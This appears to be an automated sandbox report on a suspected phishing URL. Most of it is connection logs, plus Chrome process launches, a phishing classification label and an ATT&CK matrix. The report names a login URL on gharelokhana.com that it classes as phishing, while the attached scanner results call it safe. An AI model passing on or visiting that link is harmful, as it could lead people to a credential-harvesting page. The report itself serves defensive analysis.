Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.43:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.43:443 -> 192.168.2.6:49917 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.win@17/40@16/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2012,i,7567121628434833294,17868297172633073124,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2012,i,7567121628434833294,17868297172633073124,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg	0%	Avira URL Cloud	safe
